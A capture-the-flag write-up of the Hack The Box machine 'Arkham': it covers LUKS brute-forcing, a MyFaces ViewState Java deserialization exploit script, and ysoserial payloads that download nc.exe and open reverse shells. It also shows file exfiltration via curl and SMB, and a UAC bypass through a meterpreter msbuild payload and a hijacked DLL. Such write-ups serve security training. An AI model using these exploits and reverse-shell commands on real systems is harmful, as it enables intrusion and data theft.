Skip to content

Arkham

Port scan

$ sudo nmap 10.10.10.130 -p- --min-rate=10000 -T4 -sCV

PORT      STATE SERVICE       VERSION
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
8080/tcp  open  http          Apache Tomcat 8.5.37
| http-methods: 
|_  Potentially risky methods: PUT DELETE
|_http-title: Mask Inc.
49667/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2024-07-05T02:32:20
|_  start_date: N/A
|_clock-skew: -2s

SMB shares

$ smbmap -H 10.10.10.130 -u 'anonymous' -p 'anonymous'
$ smbclient //10.10.10.130/BatShare -U anonymous%anonymous

alt text alt text

IMPORTANT.TXT

Alfred, this is the backup image from our linux server. Please see that The Joker or anyone else doesn't have unauthenticated access to it. - Bruce

alt text

$ grep batman /usr/share/wordlists/rockyou.txt > rockyou_batman.txt
$ wc -l rockyou_batman.txt /usr/share/wordlists/rockyou.txt 

alt text

$ bruteforce-luks -t 10 -f rockyou_batman.txt -w batman_state.txt -v 30 backup.img 

batmanforever
-t 10 - use 10 threads
-f rockyou_batman.txt - list of passwords to try
-w batman_state.txt - have bruteforce-luks use a state file, so that I can stop and resume if necessary
-v 30 - print the progress every 30 seconds

alt text

Mount the img

$ sudo cryptsetup open --type luks backup.img arkham_d
$ ls -l /dev/mapper/
$ sudo mkdir /mnt/arkham_d/ 
$ sudo mount /dev/mapper/arkham_d /mnt/arkham_d/

alt text

web.xml.bak

<param-name>org.apache.myfaces.SECRET</param-name>
<param-value>SnNGOTg3Ni0=</param-value>
<context-param>
<description>
This parameter tells MyFaces if javascript code should be allowed in
the rendered HTML output.
If javascript is allowed, command_link anchors will have javascript code
that submits the corresponding form.
If javascript is not allowed, the state saving info and nested parameters
will be added as url parameters.
Default is 'true'</description>
<param-name>org.apache.myfaces.ALLOW_JAVASCRIPT</param-name>
<param-value>true</param-value>
</context-param>
If true, a javascript function will be rendered that is able to restore the
former vertical scroll on every request. Convenient feature if you have pages
with long lists and you do not want the browser page to always jump to the top
if you trigger a link or button action that stays on the same page.
Default is 'false'
</description>
<param-name>org.apache.myfaces.AUTO_SCROLL</param-name>
<param-value>true</param-value>

MyFaces ViewState

Misconfigured JSF ViewStates can lead to severe RCE vulnerabilities

http://10.10.10.130:8080/userSubscribe.faces

alt text

In the source code:

<input type="hidden" name="javax.faces.ViewState" id="javax.faces.ViewState" value="wHo0wmLu5ceItIi+I7XkEi1GAb4h12WZ894pA+Z4OH7bco2jXEy1RQxTqLYuokmO70KtDtngjDm0mNzA9qHjYerxo0jW7zu1mdKBXtxnT1RmnWUWTJyCuNcJuxE=" />

Java deserialization

exploit.py

import requests
import pyDes, hmac
from base64 import b64decode, b64encode
from hashlib import sha1

url = 'http://10.10.10.130:8080/userSubscribe.faces'

def create_payload():
    payload = open('payload.bin', 'rb').read()
    return encrypt_payload(payload)

def encrypt_payload(payload):
    key = b64decode('SnNGOTg3Ni0=')
    obj = pyDes.des(key, pyDes.ECB, padmode=pyDes.PAD_PKCS5)
    enc = obj.encrypt(payload)
    hash_val = (hmac.new(key, bytes(enc), sha1).digest())
    payload = enc + hash_val
    return b64encode(payload)

def decrypt_view_state(view_state):
    key = b64decode('SnNGOTg3Ni0=')
    obj = pyDes.des(key, pyDes.ECB, padmode=pyDes.PAD_PKCS5)
    view_state = b64decode(view_state)
    view_state = view_state + b'\x00\x00\x00\x00'
    dec = obj.decrypt(view_state)
    return dec

def exploit():
    view_state = create_payload()
    data = {'javax.faces.ViewState' : view_state}
    requests.post(url, data=data)

exploit()

Note: ysoserial only support jdk 11.

Payloads: everytime you change the payload, you need to execute exploit.py to execute the payload on the target.

$ /usr/lib/jvm/java-11-openjdk-amd64/bin/java -jar ysoserial-all.jar CommonsCollections5 'cmd /c ping -n 1 10.10.16.2' > payload.bin

# upload nc.exe to the victim
$ /usr/lib/jvm/java-11-openjdk-amd64/bin/java -jar ysoserial-all.jar CommonsCollections5 'powershell iwr -uri http://10.10.16.2/nc.exe -Outfile C:\windows\temp\nc.exe' > payload.bin

# reverse shell
$ /usr/lib/jvm/java-11-openjdk-amd64/bin/java -jar ysoserial-all.jar CommonsCollections5 'cmd /c C:\windows\temp\nc.exe -e cmd 10.10.16.2 8888' > payload.bin

alt text

User Alfred

Found a backup.zip file in c:\Users\Alfred\Downloads\backups

> powershell Get-ChildItem -Path C:\ -Include appserver.zip -File -Recurse -ErrorAction SilentlyContinue

filetransfer.py

from flask import Flask, request 
app = Flask(__name__) 
@app.route('/upload', methods=['POST']) 
def upload_file(): 
    if 'file' not in request.files: 
        return 'No file part' 
    file = request.files['file'] 
    if file.filename == '': 
        return 'No selected file' 
    file.save(file.filename) 
    return 'File uploaded successfully'
if __name__ == '__main__': 
    app.run(host='0.0.0.0', port=8081)
> curl -F "file=@backup.zip" http://10.10.16.2:8081/upload 

OR, use smbserver to transmit files

# Kali
$ smbserver.py -smb2support -username df -password df share .

# Target
> net use \\10.10.16.2\share /u:df df
>copy backup.zip \\10.10.16.2\share\

There is alfred@arkham.local.ost inside the backup.zip. It a Microsoft Outlook Offline Storage file.

alt text

readpst is a tool to parse .pst and .ost files from Linux. This creates Drafts.mbox file:

# in python virtual environment
$ sudo apt install pst-utils
$ readpst  alfred@arkham.local.ost 
Opening PST file and indexes...
Processing Folder "Deleted Items"
Processing Folder "Inbox"
Processing Folder "Outbox"
Processing Folder "Sent Items"
Processing Folder "Calendar"
Processing Folder "Contacts"
Processing Folder "Conversation Action Settings"
Processing Folder "Drafts"
    "Inbox" - 0 items done, 7 items skipped.
    "Calendar" - 0 items done, 3 items skipped.
Processing Folder "Journal"
Processing Folder "Junk E-Mail"
Processing Folder "Notes"
Processing Folder "Tasks"
Processing Folder "Sync Issues"
Processing Folder "RSS Feeds"
Processing Folder "Quick Step Settings"
    "alfred@arkham.local.ost" - 15 items done, 0 items skipped.
Processing Folder "Conflicts"
Processing Folder "Local Failures"
Processing Folder "Server Failures"
    "Sync Issues" - 3 items done, 0 items skipped.
    "Drafts" - 1 items done, 0 items skipped.

.mbox is a email mailbox file format that stores multiple messages in a single file, and does it as text. I can use less to view it, or open it in mutt, a Linux command line mail client.

I’ll use mutt -R -f Drafts.mbox , where -R says to open as read only, and -f says to open a file. There may be a question about creating a root mailbox (either way is fine, I’ll pick no). I also don’t need to remove a lock count. Then I get the mainbox:

alt text

image001.png alt text

batman:Zx^#QZX+T!123

User batman

>powershell

> $username = "arkham\batman"
> $password = "Zx^#QZX+T!123"
> $secstr = New-Object -TypeName System.Security.SecureString
> $password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)}
> $cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $username, $secstr

> iwr -uri http://10.10.16.2/nc.exe -Outfile nc.exe

> Invoke-Command -Computer arkham -ScriptBlock {cmd /c C:\Users\Alfred\nc.exe -e cmd 10.10.16.2 4444} -Credential $cred

> enter-pssession 1

alt text

alt text

Batman is in the administrators group but doesn't have full administrative privilege.

UAC bypass

UAC-Bypass – Windows Privilege Escalation

# search files

> gci recurse . | select fullname
  1. mount and copy C:\ to a new drive Z:\

Unintended way, it may not work on other situations.

> net use Z: \\127.0.0.1\C$
> z:

alt text

  1. DLL hijacking

SystemPropertiesAdvanced.exe DLL Hijacking UAC Bypass

> findstr /C:"<autoElevate>true" C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe

alt text

The shell is constrained. So, firstly, I need to get an interactive shell.

  1. create an interactive session via GreatSCT
$ python -m venv .venv    
$ source ./.venv/bin/activate
$ git clone https://github.com/GreatSCT/GreatSCT.git 
$ cd GreatSCT/setup
$ sudo ./setup.sh -c 
$ ./GreatSCT.py
$ list > use 1 > list > use 9 (msbuild/meterpreter/rev_tcp.py
)
$ set lhost 10.10.16.2
$ set lport 8001
$ generate

alt text

$ msfconsole -r /usr/share/greatsct-output/handlers/payload1.rc

> iwr -uri http://10.10.16.2/payload1.xml -Outfile payload.xml
> c:\windows\microsoft.net\framework\v4.0.30319\msbuild.exe payload.xml

$ sessions -i 1
$ ps -S explorer.exe
# need to migrate explorer.exe session
$ migrate 5044

alt text

  1. DLL hijacking

main.c

#include <windows.h>

BOOL WINAPI DllMain(HINSTANCE hinstDll, DWORD dwReason, LPVOID lpReserved)
{
    switch(dwReason)
    {
        case DLL_PROCESS_ATTACH:
            WinExec("c:\\users\\batman\\nc.exe 10.10.16.2 9001 -e cmd", 0);
            break;
        case DLL_PROCESS_DETACH:
            break;
        case DLL_THREAD_ATTACH:
            break;
        case DLL_THREAD_DETACH:
            break;
    }
}
$ i686-w64-mingw32-gcc main.c -lws2_32 -o srrstr.dll -shared
> iwr -uri http://10.10.16.2/nc.exe -Outfile c:\users\batman\nc.exe
> iwr -uri http://10.10.16.2/srrstr.dll -Outfile srrstr.dll

# the full path is c:\users\batman\appdata\local\microsoft\windowsapps\
> move srrstr.dll appdata\local\microsoft\windowsapps\

# use to check if the DLL works correctly when something goes wrong
> rundll32 srrstr.dll,asd

# will get a reverse shell as Batman with full privilege
> cmd /c c:\windows\SysWow64\SystemPropertiesAdvanced.exe

alt text